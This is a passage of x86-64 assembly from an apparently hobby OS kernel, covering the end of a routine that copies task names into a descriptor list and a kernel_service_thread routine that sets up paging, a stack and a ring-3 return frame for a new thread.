; taks name length
|
|
movzx ecx, byte [r10 + KERNEL_TASK_STRUCTURE.length]
|
|
mov byte [rax + LIB_SYS_STRUCTURE_TASK.length], cl
|
|
|
|
; task name itself
|
|
lea rsi, [r10 + KERNEL_TASK_STRUCTURE.name]
|
|
lea rdi, [rax + LIB_SYS_STRUCTURE_TASK.name]
|
|
rep movsb
|
|
|
|
; next task descriptor position
|
|
add rax, LIB_SYS_STRUCTURE_TASK.SIZE
|
|
|
|
.next:
|
|
; move pointer to next entry of task table
|
|
add r10, KERNEL_TASK_STRUCTURE.SIZE
|
|
|
|
; end of tasks inside table?
|
|
dec rbx
|
|
jnz .loop ; no
|
|
|
|
; last entry set as empty
|
|
mov qword [rax + LIB_SYS_STRUCTURE_TASK.pid], EMPTY
|
|
|
|
; return memory pointer of tasks descriptors
|
|
pop rax
|
|
|
|
; release access
|
|
mov byte [r8 + KERNEL_STRUCTURE.task_queue_semaphore], UNLOCK
|
|
|
|
; restore original registers
|
|
pop r10
|
|
pop r8
|
|
pop rdi
|
|
pop rsi
|
|
pop rdx
|
|
pop rcx
|
|
pop rbx
|
|
|
|
; return from routine
|
|
ret
|
|
|
|
;-------------------------------------------------------------------------------
|
|
; in:
|
|
; rdi - pointer to function of current task to execute as thread
|
|
; rsi - pointer to string as name of thread
|
|
; rdx - length of that string
|
|
;out:
|
|
; rax - process ID of thread
|
|
kernel_service_thread:
|
|
; preserve original registers
|
|
push rbx
|
|
push rcx
|
|
push rdx
|
|
push rsi
|
|
push r9
|
|
push r10
|
|
push r11
|
|
push r15
|
|
push rdi
|
|
|
|
;-----------------------------------------------------------------------
|
|
; prepare task for execution
|
|
;-----------------------------------------------------------------------
|
|
|
|
; register new task on queue
|
|
mov rcx, rdx
|
|
call kernel_task_add
|
|
|
|
;-----------------------------------------------------------------------
|
|
; paging array of new process
|
|
;-----------------------------------------------------------------------
|
|
|
|
; make space for the process paging table
|
|
call kernel_memory_alloc_page
|
|
|
|
; update task entry about paging array
|
|
mov qword [r10 + KERNEL_TASK_STRUCTURE.cr3], rdi
|
|
|
|
;-----------------------------------------------------------------------
|
|
; context stack and return point (initialization entry)
|
|
;-----------------------------------------------------------------------
|
|
|
|
; describe the space under context stack of process
|
|
mov rax, KERNEL_TASK_STACK_address
|
|
mov bx, KERNEL_PAGE_FLAG_present | KERNEL_PAGE_FLAG_write | KERNEL_PAGE_FLAG_process
|
|
mov ecx, KERNEL_TASK_STACK_SIZE_page
|
|
mov r11, rdi
|
|
call kernel_page_alloc
|
|
|
|
; set process context stack pointer
|
|
mov rsi, KERNEL_TASK_STACK_pointer - (KERNEL_EXEC_STRUCTURE_RETURN.SIZE + KERNEL_EXEC_STACK_OFFSET_registers)
|
|
mov qword [r10 + KERNEL_TASK_STRUCTURE.rsp], rsi
|
|
|
|
; prepare exception exit mode on context stack of process
|
|
mov rsi, KERNEL_TASK_STACK_pointer - STATIC_PAGE_SIZE_byte
|
|
call kernel_page_address
|
|
|
|
; set pointer to return descriptor
|
|
and rax, STATIC_PAGE_mask ; drop flags
|
|
add rax, qword [kernel_page_mirror] ; convert to logical address
|
|
add rax, STATIC_PAGE_SIZE_byte - KERNEL_EXEC_STRUCTURE_RETURN.SIZE
|
|
|
|
; set first instruction executed by thread
|
|
mov rdx, qword [rsp]
|
|
mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.rip], rdx
|
|
|
|
; code descriptor
|
|
mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.cs], KERNEL_GDT_STRUCTURE.cs_ring3 | 0x03
|
|
|
|
; default processor state flags
|
|
mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.eflags], KERNEL_TASK_EFLAGS_default
|
|
|
|
; default stack pointer
|
|
mov rdx, KERNEL_EXEC_STACK_pointer - 0x10 ; no args
|
|
mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.rsp], rdx
|
|
|
|
; stack descriptor
|
|
mov qword [rax + KERNEL_EXEC_STRUCTURE_RETURN.ss], KERNEL_GDT_STRUCTURE.ds_ring3 | 0x03
|
|
|
|
;-----------------------------------------------------------------------
|
|
; stack
|
|
;-----------------------------------------------------------------------
|
|
|
|
; alloc stack space
|
|
mov rcx, KERNEL_EXEC_STACK_SIZE_page
|
|
call kernel_memory_alloc
|
|
|
|
; map executable space to thread paging array
|
|
mov rax, KERNEL_EXEC_STACK_address
|
|
or bx, KERNEL_PAGE_FLAG_user
|
|
mov rsi, rdi
|
|
sub rsi, qword [kernel_page_mirror]
|
|
call kernel_page_map
|
|
|
|
; process memory usage
|
|
add qword [r10 + KERNEL_TASK_STRUCTURE.page], rcx
|
|
|
|
; process stack size
|
|
add qword [r10 + KERNEL_TASK_STRUCTURE.stack], rcx
|
|
|
|
; aquire parent task properties
|
|
call kernel_task_active
|
|
|
|
; threads use same memory map as parent
|
|
mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.memory_map]
|
|
mov qword [r10 + KERNEL_TASK_STRUCTURE.memory_map], rax
|
|
|
|
; threads use same streams as parent
|
|
|
|
; in
|
|
mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.stream_in]
|
|
inc qword [rax + KERNEL_STREAM_STRUCTURE.count]
|
|
mov qword [r10 + KERNEL_TASK_STRUCTURE.stream_in], rax
|
|
|
|
; out
|
|
mov rax, qword [r9 + KERNEL_TASK_STRUCTURE.stream_out]
|
|
inc qword [rax + KERNEL_STREAM_STRUCTURE.count]
|
|
mov qword [r10 + KERNEL_TASK_STRUCTURE.stream_out], rax
|
|
|
|
; map kernel space to process
|
|
mov r15, qword [r9 + KERNEL_TASK_STRUCTURE.cr3]
|
|
or r15, qword [kernel_page_mirror]
|
|
call kernel_page_merge
|
|
|
|
; mark thread as ready
|
|
or word [r10 + KERNEL_TASK_STRUCTURE.flags], KERNEL_TASK_FLAG_active | KERNEL_TASK_FLAG_thread | KERNEL_TASK_FLAG_init
|
|
|
|
; return process ID of new thread
|
|
mov rax, qword [r10 + KERNEL_TASK_STRUCTURE.pid]
|
|
|
|
; restore original registers
|
|
pop rdi
|
|
pop r15
|
|
pop r11
|
|
pop r10
|
|
pop r9
|
|
pop rsi
|
|
pop rdx
|
|
pop rcx
|
|
pop rbx
|
|
|
|
; end of routine
|
|
ret |